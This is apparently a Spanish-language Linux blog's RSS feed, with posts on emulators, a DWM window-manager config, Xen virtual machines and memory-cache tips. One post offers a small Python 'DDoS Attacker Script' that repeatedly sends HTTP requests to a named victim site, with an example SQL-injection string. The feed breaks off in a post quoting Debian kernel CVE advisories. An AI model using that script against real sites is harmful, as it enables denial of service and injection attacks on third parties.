El rincón de Zerial » GNU/Linux http://blog.zerial.org Informática, GNU/Linux, Seguridad, Hacking, Programación, Ocio Tue, 20 Jul 2010 18:13:34 +0000 en hourly 1 http://wordpress.org/?v=3.0 Emulación de consolas en GNU/Linux: NeoGeo, MAME, SNES y PSX http://blog.zerial.org/linux/emulacion-de-consolas-en-gnulinux-neogeo-mame-snes-y-psx/ http://blog.zerial.org/linux/emulacion-de-consolas-en-gnulinux-neogeo-mame-snes-y-psx/#comments Fri, 15 Jan 2010 01:55:11 +0000 Zerial http://blog.zerial.org/?p=1387 No soy muy amante de los juegos pero debo reconocer que hay algunos que si me gustan, especialmente los de consola como NeoGeo, Súper Nintendo y Play 1. En busca de entretención y de distracción, el otro día me compré un joystick que me costó CLP$1.600 (unos USD$3)

Y luego me puse a probar distintos emuladores y juegos de consolas: NeoGeo, MAME, SNES, N64, PSX, etc.

Para emular juegos de NeoGeo tenemos el gngeo y el mame-sdl, para snes el famoso zsnes, para n64 mupen64 y para psx el epsxe.
A continuación, una pequeña muestra de cada emulador corriendo algún juego en especial.

Primero les voy a mostrar gngeo con su frontend XGngeo

Para descargarlo pueden encontarlo en su sitio oficial http://gngeo.berlios.de/ o bien buscarlo en los repositorios de la distribución que estén usando. Pueden descargar el frontend XGnGeo desde aquí: http://www.choplair.org/?XGngeo

Con el emulador de MAME puedes jugar tambien los juegos de neogeo. Para emular mame tienes el emulador por línea de comando “mame-sdl” y el frontend llamado qmc2.

Para emular súper nintendo, uso el conocido zsnes (muuuuy antiguo), que está en la mayoría de los repositorios de las distribuciónes GNU/Linux y también lo podemos encontrar en zsnes.com.

Yo recuerdo haber usado este mismo emulador hace muchos años atrás, era uno de mis preferidos, con zsnes pasé varias horas frente al pc jugando. El emulador permite configurar hasta 5 players y además, permite jugar en línea.

Para PlayStation 1 (PSOne, PSX) uso el epsxe. Este emulador es un poco complicado de instalar, necesita un plugin para cada cosa. Por ejemplo, un plugin de video y otro de sonido, aunque generalmente puedes encontrar el emulador con todos sus restos dentro del mismo repositorio. Por ejemplo, en Archlinux lo puedes descargar e instalar directamente de AUR. Luego debes intrusear un poco la configuración hasta llegar a la más óptima para tu hardware. En mi caso, me uso este emulador simplemente para jugar Silent Hill 1.

Delicious Twitter Facebook Google Bookmarks FriendFeed Digg Slashdot Compartir/Guardar

]]> http://blog.zerial.org/linux/emulacion-de-consolas-en-gnulinux-neogeo-mame-snes-y-psx/feed/ 2 Bottom Stack en Dynamic Window Manager (DWM) http://blog.zerial.org/linux/bottom-stack-en-dynamic-window-manager-dwm/ http://blog.zerial.org/linux/bottom-stack-en-dynamic-window-manager-dwm/#comments Thu, 07 Jan 2010 00:10:49 +0000 Zerial http://blog.zerial.org/?p=1358 Hace meses que me decidí por usar DWM y de a poco voy teniendo distintas necesidades, por lo que he ido configurando poco a poco el gestor. Ultimamente, me dieron ganas de querer ordenar las ventanas de forma horizontal y revisando el sitio de DWM he encontrado el llamado “Bottom Stack”, que me ayudará a cumplir mi propósito.

Para lograrlo, simplemente tenemos que agregar un par de líneas al config.h y volver a compilarlo.

Debemos descargar los ficheros bstack.c y bstackhoriz.c y agregar las siguientes líneas a nuestro fichero de configuración config.h, despues de la definición de la variable mfact y antes de la definición de layouts:

#include "bstack.c"
#include "bstackhoriz.c"

Y dentro de la definición de layouts debemos agregar:

{ "TTT",      bstack },
{ "===",      bstackhoriz },

El fichero config.h se debería ver mas o menos así:

[...]

/* layout(s) */
static const float mfact      = 0.55; /* factor of master area size [0.05..0.95] */
static const Bool resizehints = True; /* False means respect size hints in tiled resizals */

#include "bstack.c"
#include "bstackhoriz.c"

static const Layout layouts[] = {
        /* symbol     arrange function */
        { "TTT",      bstack },
        { "[]=",      tile },    /* first entry is default */
        { "><>",      NULL },    /* no layout function means floating behavior */
        { "[M]",      monocle },
        { "===",      bstackhoriz },
};

/* key definitions */
#define MODKEY Mod1Mask
#define TAGKEYS(KEY,TAG) \

[...]

Imágenes:

Pueden encontrar el artículo original en el siguiente link:
http://dwm.suckless.org/patches/bottom_stack

Delicious Twitter Facebook Google Bookmarks FriendFeed Digg Slashdot Compartir/Guardar

]]> http://blog.zerial.org/linux/bottom-stack-en-dynamic-window-manager-dwm/feed/ 2 El que usa software privativo no está respetando su libertad http://blog.zerial.org/software-libre/el-que-usa-software-privativo-no-esta-respetando-su-libertad/ http://blog.zerial.org/software-libre/el-que-usa-software-privativo-no-esta-respetando-su-libertad/#comments Sat, 19 Dec 2009 22:39:12 +0000 Zerial http://blog.zerial.org/?p=1219 Siempre ha sido un tema de discusión el tema de la propiedad intelectual, derechos de autor, etc, pero esta véz quiero referirme a algo más allá de eso: el Software Libre.
gnuNo hay que confundir el concepto de Software Libre con Open Source, el primero corresponde a toda una filosofía relacionada a las libertades de las personas y lo segundo, simplemente, a código abierto. Una aplicación puede ser open source sin ser libre. La gran diferencia entre uno y el otro es el tema de las licencias. Para que el software sea libre es necesario que se permita compartir, modificar y adaptar el código.

Usar software libre es bueno porque permite, entre otras cosas, manejar y controlar algo que es tuyo: tu computador y es por éste motivo que nace el dilema entre el hardware y los famosos drivers propietarios/privativos v/s los libres. Para muchas personas el hecho de no poder aprovechar los recursos de su hardware gracias a los drivers libres significa un problema y entonces es cuando deciden usar el driver propietario o privado. El otro día, pensaba que la única forma de promover y mejorar el desarrollo de drivers (o firmwares) libres desde las propios fabricantes es usar los drivres libres ya existentes. Estamos en un proceso de educación y difusión del software libres y de nuestras libertades, si queremos lograr que éste proceso avance debemos sacrificarnos un poco. Imaginemos un mundo ideal, donde todas las personas usan drivers libres y los fabricantes no encuentran qué hacer para que los usuarios compren sus productos, como no se puede exprimir al máximo los recursos del hardware, el usuario no va a necesitar continuar comprando y por ende, los fabricantes se verían obligados a desarrollar ellos mismos un driver que sea libre y que cumpla con todo lo necesario para poder funcionar correctamente. Obviamente, es una utopía.

Hace un par de días tuvimos a Richard M. Stallman de visita en Kernelhouse y en el Hacklab y me quedó dando vueltas una frase que nos dijo: “Las personas que usan software privado no están respetando su libertad“.

Si bien las personas son libres de usar software privado o libre, creo que la diferencia está simplemente en cuando te obligan a usar uno u el otro. Cuando una persona decide usar software libre, entonces está haciendo uso de su libertad de hacerlo. El problema, para mi, es cuando no tienes opción o bien, te obligan. Generalmente estás obligado a usar software privado, compras un iPod y viene con software privado y hasta es ilegal “desbloquearlo” siendo que es tuyo.  Cuando compras un portatil o un computador de escritorio, éste viene con M$ Windows, de una u otra forma te están obligando a usarlo. En el precio se incluye el precio de la licencia y para evitar pagarla, hay que hacer miles de trámites que aveces no valen la pena. Pasa hasta en el gobierno, existen muchos planes para disminuir la brecha digital, tecnologizar a personas de escasos recursos, pero detrás de éstos métodos, siempre está Microsoft por detrás. Microsoft siempre ofrece ofertas que, debido a la ignorancia de quienes toman las decisiones, es imposible rechazar. Por ejemplo, para el colegio de escasos recursos donde existen 40 mil nños que jamás han tocado un cumputador, ésta monopólica empresa, decide “donar” 1000 computadores con licencias para usar Windows “especialmente” adaptada para esta ocasión, por ejemplo la típica “Starter Edition“. Con este tipo de metodologías, lo único que estamos logrando es crear una dependencia a un producto de una empresa privada. Para exáctamente lo mismo cuando el gobierno decide “auspiciar” y “becar” a sientos de personas de tercera edad o personas analfabetas tecnologicamente a cursar un taller o curso de “Microsoft Office”, hacen que éstas personas dependan de un producto de Microsoft, por ésto mismo, lo que se debería promover son cursos de “ofimática” que servirían para que un usuario sepa usar cualquier suite de herramientas de oficina, ya sea de MS Office, Open Office, Koffice, etc. Para que la educación de resultado, hay que enseñar a la persona a elegir, hay que demostrarle que tiene libertades que él mismo puede aprovechar. Windows no llegó a ser tan popular porque era un buen producto o porque era la única opción existente en el mercado, simplemente porque la ignorancia de las personas, gracias a la manipulación de las grandes empresas y el gobierno, hizo que así fuera.

Un proceso de educación tiene un bien final cuando el usuario logra, por si mismo, decidir qué sistema operativo usar (MS Windows, GNU/Linux, Mac, etc) y por ejemplo, en el caso que use GNU/Linux, que su conocimiento le permita decidir que distribución usar. El motivo de mi odio a Windows es similar al por qué odio a Ubuntu, sus políticas de marketing y sus filosofías no me gustan, Ubuntu de una u otra forma está haciendo lo mismo que Microsoft, no se hizo popular por su funcionalidad sino que por el dinero. Actualmente, me atrevería a decir que el 90% de los usuarios de Ubuntu  no tienen idea que existen más distribuciones, frente a (según yo) un 70% de usuarios Windows que si sabe que existen varias distribuciones de GNU/Linux.
En conclusión, estoy completamente de acuerdo en que cuando una persona usa software privado, no está respetando su libertad, ya que se está sometiendo, voluntaria o involuntariamente, a usar el producto (software o hardware) como el fabricante lo dice, aún pagando por él.

Delicious Twitter Facebook Google Bookmarks FriendFeed Digg Slashdot Compartir/Guardar

]]> http://blog.zerial.org/software-libre/el-que-usa-software-privativo-no-esta-respetando-su-libertad/feed/ 1 Useless: Cosas ociosas e inútiles que puedes hacer en GNU/Linux http://blog.zerial.org/linux/useless-cosas-ociosas-e-inutiles-que-puedes-hacer-en-gnulinux/ http://blog.zerial.org/linux/useless-cosas-ociosas-e-inutiles-que-puedes-hacer-en-gnulinux/#comments Sat, 12 Sep 2009 20:38:34 +0000 Zerial http://blog.zerial.org/?p=854 Aveces nos encontramos en el trabajo o en la universidad frente a la pantalla sin nada que hacer y empezamos a inventar cosas para hacer, probamos comandos, nos mandamos alguna cagadita, en fín, intentamos ocupar nuestro tiempo de ocio en algo. A continuación les mostraré unos cuantos tips para cuando esten aburridos.
Les enseñaré a escuchar como trabaja su disco duro, jugar con el speaker, ver los movimientos -en binario- del mouse y algo más.

La guía del ocio, índice:

  1. Ver los movimientos del mouse
  2. Escuchar como trabaja nuestro disco duro
  3. Jugar con el speaker

Contenido

  • Ver los movimientos del mouse

    • Podemos visualizar los movimientos que hacemos con el mouse, dependiendo del dispositivo que usemos. Por ejemplo yo, con un mouse usb o con el touchpad de mi portatil usaré el dispositivo /dev/input/mice. Es simple, sólo debemos ejecutar el comando (como root):
    # cat /dev/input/mice
    Y comenzar a mover el mouse.
    Resultado:

    cat_dev_mouse

  • Escuchar como trabaja nuestro disco duro

    • Esto va depende de cómo tengamos distribuido nuestros discos, en mi caso, corresponde al dispositivo /dev/sda y para “escuchar” cómo suena, sólo ejecuto este comando (root):

    # cat /dev/sda >> /dev/audio
    Y sentiremos como si estuviesemos escuchando ruido extraterrestre…

  • Jugar con el speaker

    • Esto es un poco más divertido, para esto necesitaremos instalar el paquete “beep” y cargar el módulo pcspkr en el caso que no esté cargado. Para hacer sonar el speaker basta con ejecutar el comando:
    # beep

    Podemos jugar con las frecuencias y duración de cada beep (ver man beep) y lograr cosas como estas:

    1. #!/bin/bash
    2. beep -f 349;
    3. sleep 0.33
    4. beep -f 415.3;
    5. sleep 0.165
    6. beep -f 349;
    7. beep -f 349 -l 170;
    8. beep -f 466.2;
    9. sleep 0.05
    10. beep -f 349;
    11. sleep 0.05
    12. beep -f 311.1;
    13. sleep 0.05
    14. beep -f 349;
    15. sleep 0.33
    16. beep -f 523.2;
    17. sleep 0.165
    18. beep -f 349;
    19. beep -f 349 -l 170;
    20. beep -f 550;
    21. sleep 0.05
    22. beep -f 523.2;
    23. sleep 0.05
    24. beep -f 415.3;
    25. sleep 0.05
    26. beep -f 349;
    27. sleep 0.05
    28. beep -f 523.2;
    29. sleep 0.05
    30. beep -f 698.4;
    31. sleep 0.03
    32. beep -f 349 -l 170;
    33. beep -f 311.1 ;
    34. beep -f 311.1 -l 170;
    35. sleep 0.05
    36. beep -f 261.6;
    37. sleep 0.03
    38. beep -f 392;
    39. sleep 0.03
    40. beep -f 349 -l 750;

    Por ejemplo, este “beep” lo hicimos junto a Pons y a otros compañeros en la Universidad, cuando estabamos muy aburridos y no teniamos cosas que hacer.

Delicious Twitter Facebook Google Bookmarks FriendFeed Digg Slashdot Compartir/Guardar

]]> http://blog.zerial.org/linux/useless-cosas-ociosas-e-inutiles-que-puedes-hacer-en-gnulinux/feed/ 2 Dymamic Window Manager (DWM): Mi nuevo gestor de ventanas http://blog.zerial.org/linux/dymamic-window-manager-dwm-mi-nuevo-gestor-de-ventanas/ http://blog.zerial.org/linux/dymamic-window-manager-dwm-mi-nuevo-gestor-de-ventanas/#comments Sat, 29 Aug 2009 15:04:15 +0000 Zerial http://blog.zerial.org/?p=819 El otro día leí en irc que hablaban sobre ScrotWM y lo probé. En un principio me gustó mucho, demasiado sencillo y ligero, luego de usarlo un par de minutos ya me estába dando problemas con algunas ventanas flotantes y para no quedarme con las ganas entonces lo cambié por Dynamic Window Manager (DWM).

dwm

La gracia de este gestor de ventanas es que es demasiado simple, tiene no mas de 2 mil líneas de código, no usa archivos de configuración y claro, para configurarlo hay que editar directamente el código fuente y volver a compilarlo y re-ejecutarlo para que tome los cambios.

[zerial@daila dwm-5.6.1]$ wc -l dwm.c
1959 dwm.c
[zerial@daila dwm-5.6.1]

Esto último, a muchos les puede provocar un trauma pero no es tan dificil como parece, aunque yo vengo de un entorno fluxbox por lo que cambiarme a dwm no me costó tanto.

Algunos screenshots:

dwm
dwm2

Todavía no lo modifico mucho, sólo configuré los workspaces, algunas aplicaciones y los atajos de teclado, pero acá les dejo mi configuración (fichero config.h).

  1. /* See LICENSE file for copyright and license details. */
  2.  
  3. /* appearance */
  4. static const char font[]            = "-*-terminus-medium-*-*-*-14-*-*-*-*-*-*-*";
  5. static const char normbordercolor[] = "#cccccc";
  6. static const char normbgcolor[]     = "#cccccc";
  7. static const char normfgcolor[]     = "#000000";
  8. static const char selbordercolor[]  = "green";
  9. static const char selbgcolor[]      = "black";
  10. static const char selfgcolor[]      = "green";
  11. static const unsigned int borderpx  = 1;        /* border pixel of windows */
  12. static const unsigned int snap      = 32;       /* snap pixel */
  13. static const Bool showbar           = True;     /* False means no bar */
  14. static const Bool topbar            = True;     /* False means bottom bar */
  15.  
  16. /* tagging */
  17. static const char *tags[] = { "www", "mail", "media", "terms1", "terms2", "terms3", "terms4", "terms5", "apps" };
  18.  
  19. static const Rule rules[] = {
  20.         /* class      instance    title       tags mask     isfloating   monitor */
  21.         { "Gimp",     NULL,       NULL,       1 < < 8,            True,        -1 },
  22.         { "Pidgin",     NULL,       NULL,       1 << 8,            True,        -1 },
  23.         { "psi",     NULL,       NULL,       1 << 8,            True,        -1 },
  24.         { "X-Chat",     NULL,       NULL,       1 << 8,            True,        -1 },
  25.         { "Zenity",     NULL,       NULL,       0,            True,        -1 },
  26. };
  27.  
  28. /* layout(s) */
  29. static const float mfact      = 0.55; /* factor of master area size [0.05..0.95] */
  30. static const Bool resizehints = True; /* False means respect size hints in tiled resizals */
  31.  
  32. static const Layout layouts[] = {
  33.         /* symbol     arrange function */
  34.         { "[]=",      tile },    /* first entry is default */
  35.         { "><>",      NULL },    /* no layout function means floating behavior */
  36.         { "[M]",      monocle },
  37. };
  38.  
  39. /* key definitions */
  40. #define MODKEY Mod1Mask
  41. #define TAGKEYS(KEY,TAG) \
  42.         { MODKEY,                       KEY,      view,           {.ui = 1 < < TAG} }, \
  43.         { MODKEY|ControlMask,           KEY,      toggleview,     {.ui = 1 << TAG} }, \
  44.         { MODKEY|ShiftMask,             KEY,      tag,            {.ui = 1 << TAG} }, \
  45.         { MODKEY|ControlMask|ShiftMask, KEY,      toggletag,      {.ui = 1 << TAG} },
  46.  
  47. /* helper for spawning shell commands in the pre dwm-5.0 fashion */
  48. #define SHCMD(cmd) { .v = (const char*[]){ "/bin/sh", "-c", cmd, NULL } }
  49.  
  50. /* commands */
  51. static const char *dmenucmd[] = { "dmenu_run", "-fn", font, "-nb", normbgcolor, "-nf", normfgcolor, "-sb", selbgcolor, "-sf", selfgcolor, NULL };
  52. static const char *termcmd[]  = { "urxvt", NULL };
  53. static const char *webcmd[] = { "firefox", NULL };
  54. static const char *mailcmd[] = { "thunderbird", NULL };
  55. static const char *gimpcmd[] = { "gimp", NULL };
  56. static const char *twitcmd[] = { "twitsh", NULL };
  57.  
  58. static Key keys[] = {
  59.         /* modifier                     key        function        argument */
  60.         { MODKEY|ShiftMask,                     XK_f,   spawn,  {.v = webcmd } },
  61.         { MODKEY|ShiftMask,                     XK_m,   spawn,  {.v = mailcmd } },
  62.         { MODKEY|ShiftMask,                     XK_g,   spawn,  {.v = gimpcmd } },
  63.         { MODKEY|ShiftMask,                     XK_s,   spawn,  {.v = twitcmd } },
  64.         { MODKEY,                       XK_p,      spawn,          {.v = dmenucmd } },
  65.         { MODKEY,             XK_x, spawn,          {.v = termcmd } },
  66.         { MODKEY,                       XK_b,      togglebar,      {0} },
  67.         { MODKEY,                       XK_j,      focusstack,     {.i = +1 } },
  68.         { MODKEY,                       XK_k,      focusstack,     {.i = -1 } },
  69.         { MODKEY,                       XK_h,      setmfact,       {.f = -0.05} },
  70.         { MODKEY,                       XK_l,      setmfact,       {.f = +0.05} },
  71.         { MODKEY,                       XK_Return, zoom,           {0} },
  72.         { MODKEY,                       XK_Tab,    view,           {0} },
  73.         { MODKEY|ShiftMask,             XK_c,      killclient,     {0} },
  74.         { MODKEY,                       XK_t,      setlayout,      {.v = &layouts[0]} },
  75.         { MODKEY,                       XK_f,      setlayout,      {.v = &layouts[1]} },
  76.         { MODKEY,                       XK_m,      setlayout,      {.v = &layouts[2]} },
  77.         { MODKEY,                       XK_space,  setlayout,      {0} },
  78.         { MODKEY|ShiftMask,             XK_space,  togglefloating, {0} },
  79.         { MODKEY,                       XK_0,      view,           {.ui = ~0 } },
  80.         { MODKEY|ShiftMask,             XK_0,      tag,            {.ui = ~0 } },
  81.         { MODKEY,                       XK_comma,  focusmon,       {.i = -1 } },
  82.         { MODKEY,                       XK_period, focusmon,       {.i = +1 } },
  83.         { MODKEY|ShiftMask,             XK_comma,  tagmon,         {.i = -1 } },
  84.         { MODKEY|ShiftMask,             XK_period, tagmon,         {.i = +1 } },
  85.         TAGKEYS(                        XK_F1,                      0)
  86.         TAGKEYS(                        XK_F2,                      1)
  87.         TAGKEYS(                        XK_F3,                      2)
  88.         TAGKEYS(                        XK_F4,                      3)
  89.         TAGKEYS(                        XK_F5,                      4)
  90.         TAGKEYS(                        XK_F6,                      5)
  91.         TAGKEYS(                        XK_F7,                      6)
  92.         TAGKEYS(                        XK_F8,                      7)
  93.         TAGKEYS(                        XK_F9,                      8)
  94.         { MODKEY|ShiftMask,             XK_q,      quit,           {0} },
  95. };
  96.  
  97. /* button definitions */
  98. /* click can be a tag number (starting at 0),
  99.  * ClkLtSymbol, ClkStatusText, ClkWinTitle, ClkClientWin, or ClkRootWin */
  100. static Button buttons[] = {
  101.         /* click                event mask      button          function        argument */
  102.         { ClkLtSymbol,          0,              Button1,        setlayout,      {0} },
  103.         { ClkLtSymbol,          0,              Button3,        setlayout,      {.v = &layouts[2]} },
  104.         { ClkWinTitle,          0,              Button2,        zoom,           {0} },
  105.         { ClkStatusText,        0,              Button2,        spawn,          {.v = termcmd } },
  106.         { ClkClientWin,         MODKEY,         Button1,        movemouse,      {0} },
  107.         { ClkClientWin,         MODKEY,         Button2,        togglefloating, {0} },
  108.         { ClkClientWin,         MODKEY,         Button3,        resizemouse,    {0} },
  109.         { ClkTagBar,            0,              Button1,        view,           {0} },
  110.         { ClkTagBar,            0,              Button3,        toggleview,     {0} },
  111.         { ClkTagBar,            MODKEY,         Button1,        tag,            {0} },
  112.         { ClkTagBar,            MODKEY,         Button3,        toggletag,      {0} },
  113. };

Delicious Twitter Facebook Google Bookmarks FriendFeed Digg Slashdot Compartir/Guardar

]]> http://blog.zerial.org/linux/dymamic-window-manager-dwm-mi-nuevo-gestor-de-ventanas/feed/ 9 DDoS Attacker Script: Peticiones automatizadas para lograr DoS http://blog.zerial.org/seguridad/ddos-attacker-script-peticiones-automatizadas-para-lograr-dos/ http://blog.zerial.org/seguridad/ddos-attacker-script-peticiones-automatizadas-para-lograr-dos/#comments Sun, 02 Aug 2009 19:26:52 +0000 Zerial http://blog.zerial.org/?p=709 “DDoS Attacker Script” es un pequeño script que he escrito en python que nos sirve para lograr con éxito un ataque de denegación de servicio en un sitio web. Este script lo diseñe especialmente para ataques de sql injection.

El funcionamiento es muy sencillo, se conecta y hace una petición de la URI especificada:

  1. #!/usr/bin/python
  2. import socket, sys, os
  3. print "][ Attacking " + sys.argv[1]  + " ... ]["
  4. print "injecting " + sys.argv[2];
  5. def attack():   
  6.         #pid = os.fork()
  7.         s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  8.         s.connect((sys.argv[1], 80))
  9.         print ">> GET /" + sys.argv[2] + " HTTP/1.1"
  10.         s.send("GET /" + sys.argv[2] + " HTTP/1.1\r\n")
  11.         s.send("Host: " + sys.argv[1]  + "\r\n\r\n");
  12.         s.close()
  13. for i in range(1, 10):
  14.         attack()

La línea número 6 está comentada, si prefieren la pueden descomentar para ver lo que sucede.
El uso del script es de la siguiente forma:
$ python DDoS.py www.pagina.com SQLi
En www.pagina.com obviamente pondremos nuestra víctima y en SQLi, la cadena que hará el milagro, por ejemplo “ver_productos.php?id=55′ or ’1′=’1“

Delicious Twitter Facebook Google Bookmarks FriendFeed Digg Slashdot Compartir/Guardar

]]> http://blog.zerial.org/seguridad/ddos-attacker-script-peticiones-automatizadas-para-lograr-dos/feed/ 2 Cómo redimenzionar el tamaño de un disco virtual en Xen http://blog.zerial.org/linux/como-redimenzionar-el-tamano-de-un-disco-virtual-en-xen/ http://blog.zerial.org/linux/como-redimenzionar-el-tamano-de-un-disco-virtual-en-xen/#comments Wed, 22 Jul 2009 02:18:11 +0000 Zerial http://blog.zerial.org/?p=669 hdd-1

El otro día, jugando un rato con Xen me encontré con el problema de querer redimenzionar el tamaño de disco virtual de las máquinas virtuales y, cabezeandome un rato, lo logré.
En teoría, aumentar el tamaño de un disco es fácil, creamos un fichero del tamaño que queramos usando dd y luego concatenamos con el que ya tenemos, creamos el sistema de ficheros y listo. Pero el disminuirlo me pareció más complejo, pero no fue así.

Paso a paso

  • Aumentar el tamaño del disco

    • Vamos a usar tres herramientas: dd, cat y mkfs.
    Primero, crear un fichero del tamaño que necesitemos, por ejemplo 5GB:

    dd if=/dev/zero of=file.img bs=1MB count=5000

    Luego de esto unimos nuestro disco actual con el nuevo file.img:
    cat file.img >> disk.img

    Como último paso, volvemos a crear el sistema de ficheros usando mkfs:
    mkfs.xfs disk.img
    (deben cambiar xfs por el sistema de ficheros a utilizar como ext3, reiserfs, etc)

  • Disminuir el tamaño del disco
    Similar al anterior, usaremos las herramientas dd y mkfs (tambien usaremos los comando cp y mouont)
    Creamos un fichero con el nuevo tamaño del disco, por ejemplo 5GB:

    dd if=/dev/zero of=newdisk.img bs=1MB count=5000

    Le damos formato al fichero:

    mkfs.xfs newdisk.img

    Montamos la imágen del disco antigua y la nueva en dos directorios distintos (usaremos temp1 y temp2, respectivamente):

    mkdir temp1 temp2
    mount -tauto -oloop disk.img temp1
    mount -tauto -oloop newdisk.img temp2

    Simplemente copiamos los ficheros desde temp1 hasta temp2, obviamente, conservando los permisos:

    cp -rfvp temp1/* temp2/

    Desmontamos las dos imágenes:

    umount temp1 &amp;&amp; umount temp2

    Listo, ahora en newdisk.img de 5gb tenemos todo lo que estaba antes en disk.img.

Delicious Twitter Facebook Google Bookmarks FriendFeed Digg Slashdot Compartir/Guardar

]]> http://blog.zerial.org/linux/como-redimenzionar-el-tamano-de-un-disco-virtual-en-xen/feed/ 1 Tip: Liberar memoria ‘cacheada’, dentries e inodos http://blog.zerial.org/linux/tip-liberar-memoria-cacheada-dentries-e-inodos/ http://blog.zerial.org/linux/tip-liberar-memoria-cacheada-dentries-e-inodos/#comments Tue, 21 Jul 2009 13:46:54 +0000 Zerial http://blog.zerial.org/?p=651 Hay veces que los programas (especialmente FF) ocupan mucha memoria y la memoria cacheada aumenta hasta quedarnos sin memoria (o con menos de lo que deberíamos tener), esta memoria se puede liberar para que quede utilizable nuevamente, basta con que le tiremos un echo al fichero /proc/sys/vm/drop_caches con los valores 1, 2 o 3 para liberar el pagecache, inodos y dentries, o los tres, respectivamente.
Esta funcionalidad fue implementada en la version 2.6.16 del kernel de linux.

¿Qué es el pagecache, inodos y dentries?
Los ficheros y directorios se representan, en la memoria, como inodos, de esta misma forma, los dentries corresponden a la representación de la información del path, directorios, etc.
Pueden leer una definición de pagecache más completa en: http://en.wikipedia.org/wiki/Pagecache.

Ejemplo:

echo -n 1 > /proc/sys/vm/drop_caches; # Libera el pagecache
echo -n 2 > /proc/sys/vm/drop_caches; # Liberamos inodos y dentries
echo -n 3 > /proc/sys/vm/drop_caches; # Libera pagecache, inodos y dentries.

Pueden ejecutar el comando free -m para ver la memoria antes y despues de liberar el caché.

Delicious Twitter Facebook Google Bookmarks FriendFeed Digg Slashdot Compartir/Guardar

]]> http://blog.zerial.org/linux/tip-liberar-memoria-cacheada-dentries-e-inodos/feed/ 1 Xen: Creación y configuración de una máquina virtual (pt2) http://blog.zerial.org/linux/xen-creacion-y-configuracion-de-una-maquina-virtual-pt2/ http://blog.zerial.org/linux/xen-creacion-y-configuracion-de-una-maquina-virtual-pt2/#comments Sat, 13 Jun 2009 17:18:29 +0000 Zerial http://blog.zerial.org/?p=371 Si la instalación y configuración de Xen resultó ser fácil, lo que mostraré a continuación es mucho más sencillo. Para instalar una máquina nueva (con Debian) debemos ejecutar el siguiente comando:

xen-create-image --hostname=xen1 --size=5Gb --swap=256Mb --ide \
--ip=192.168.0.101 --netmask=255.255.255.0 --gateway=192.168.0.1 --force \
--dir=/vm --memory=128Mb --arch=i386 --kernel=/boot/vmlinuz-2.6.26-2-xen-686 \
--debootstrap --dist=lenny --mirror=http://ftp.cl.debian.org/debian/ --passwd

Si destripamos los parámetros nos damos cuenta que le estamos asignando (en orden) el hostname, tamaño de disco duro, cantidad de swap, tipo de disco, dirección ip, netmask, gateway, el directorio donde instalarla, ram, arquitectura, kernel para usar, metodo de instalación, distribución, mirror para descargar y por último, que nos pregunte la pass de root cuando termine de instalar. Estos parametros se pueden cambiar según los requerimientos.

El archivo de configuración de las máquinas virtuales es algo como:

kernel = '/boot/vmlinuz-2.6.26-2-xen-686'
ramdisk = '/boot/initrd.img-2.6.26-2-xen-686'
maxmem = '256'
memory = '64'
root = '/dev/hda2 ro'
disk = [
'file:/vm/domains/xen01/swap.img,hda1,w',
'file:/vm/domains/xen01/disk.img,hda2,w',
]
name = 'xen01'
# Red
vif = [ 'ip=192.168.20.202,mac=00:16:3E:6F:E3:3B' ]
# Comportamiento
on_poweroff = 'destroy'
on_reboot = 'restart'
on_crash = 'restart'

Podemos modificar arbitrariamente las opciones segun lo que nosotros necesitemos, tambien existen más opciones que le podemos agregar, como la asignacion de X cpus, decirles que cpu usen, por ejemplo si tenemos 4 núcleos, asignarle el 1 y el 4.

vcpus = 2;
cpus = '0,3'

De esta forma le estamos asignando 2 núcleos virtuales y le estamos diciendo que use los nucleos 0 y 3.

Delicious Twitter Facebook Google Bookmarks FriendFeed Digg Slashdot Compartir/Guardar

]]> http://blog.zerial.org/linux/xen-creacion-y-configuracion-de-una-maquina-virtual-pt2/feed/ 2 Xen: Instalación y configuración (pt1) http://blog.zerial.org/linux/xen-instalacion-configuracion-pt1/ http://blog.zerial.org/linux/xen-instalacion-configuracion-pt1/#comments Tue, 09 Jun 2009 00:13:39 +0000 Zerial http://blog.zerial.org/?p=368 Esta es la primera parte de una serie de artículos que escribiré sobre cómo configurar y usar Xen, crear y administrar máquinas virtuales, clonación y migración, asignación de procesadores, memoria y configuración de la red entre otras cosas.
Aunque soy usuario de Archlinux, los servidores que administro están bajo Debian, por lo que estos tutoriales los haré en base a esa distribución.

A continuación, una serie de instrucciones de cómo instalar y dejar corriendo Xen en la máquina servidor en sencillos pasos:

Debemos instalar el kernel correspondiente y las utilidades de xen. Lo hacemos todo con el siguiente comando:

apt-get install xm-utils-common xen-linux-system-2.6.26-2-xen-686 linux-image-2.6.26-2-xen-686

Se van a instalar automáticamente las dependencias y otras utilidades que se necesiten.
Reiniciamos y booteamos con el kernel correspondiente: Xen 3.2-1-i386 / Debian GNU/Linux, kernel 2.6.26-2-xen-686

Hay que fijarse que se instalaron dos: linux-image y xen-linux-system. El primero se usará para que las máquinas guest booteen y el segundo para el domU.

Cuando ya hayamos iniciado con xen-linux-system, debemos editar el fichero /etc/xen/xend-config.sxp. Vamos a la linea donde configuramos la red, debe aparecer algo como “(network-script network-dummy)” y debemos cambiarlo por “(network-script network-bridge)“. Cuando intentemos crear nuestra primera máquina virtual, xen nos enviará un mensaje advirtiendo que debemos configurar esa linea en el fichero de configuración.

Eso es todo.

Delicious Twitter Facebook Google Bookmarks FriendFeed Digg Slashdot Compartir/Guardar

]]> http://blog.zerial.org/linux/xen-instalacion-configuracion-pt1/feed/ 0 Local root exploit en kernel 2.6.x (hasta la 2.6.29) http://blog.zerial.org/seguridad/local-root-exploit-en-kernel-26x-hasta-la-2629/ http://blog.zerial.org/seguridad/local-root-exploit-en-kernel-26x-hasta-la-2629/#comments Sun, 17 May 2009 23:45:19 +0000 Zerial http://blog.zerial.org/?p=287 El Viernes pasado se anunciaron, en la lista de seguridad de debian, actualizaciones para el kernel, que solucionaba varias vulnerabilidades.

CVE-2009-0028

    Chris Evans discovered a situation in which a child process can
    send an arbitrary signal to its parent.

CVE-2009-0834

    Roland McGrath discovered an issue on amd64 kernels that allows
    local users to circumvent system call audit configurations which
    filter based on the syscall numbers or argument details.

CVE-2009-0835

    Roland McGrath discovered an issue on amd64 kernels with
    CONFIG_SECCOMP enabled. By making a specially crafted syscall,
    local users can bypass access restrictions.

CVE-2009-0859

    Jiri Olsa discovered that a local user can cause a denial of
    service (system hang) using a SHM_INFO shmctl call on kernels
    compiled with CONFIG_SHMEM disabled. This issue does not affect
    prebuilt Debian kernels.

CVE-2009-1046

    Mikulas Patocka reported an issue in the console subsystem that
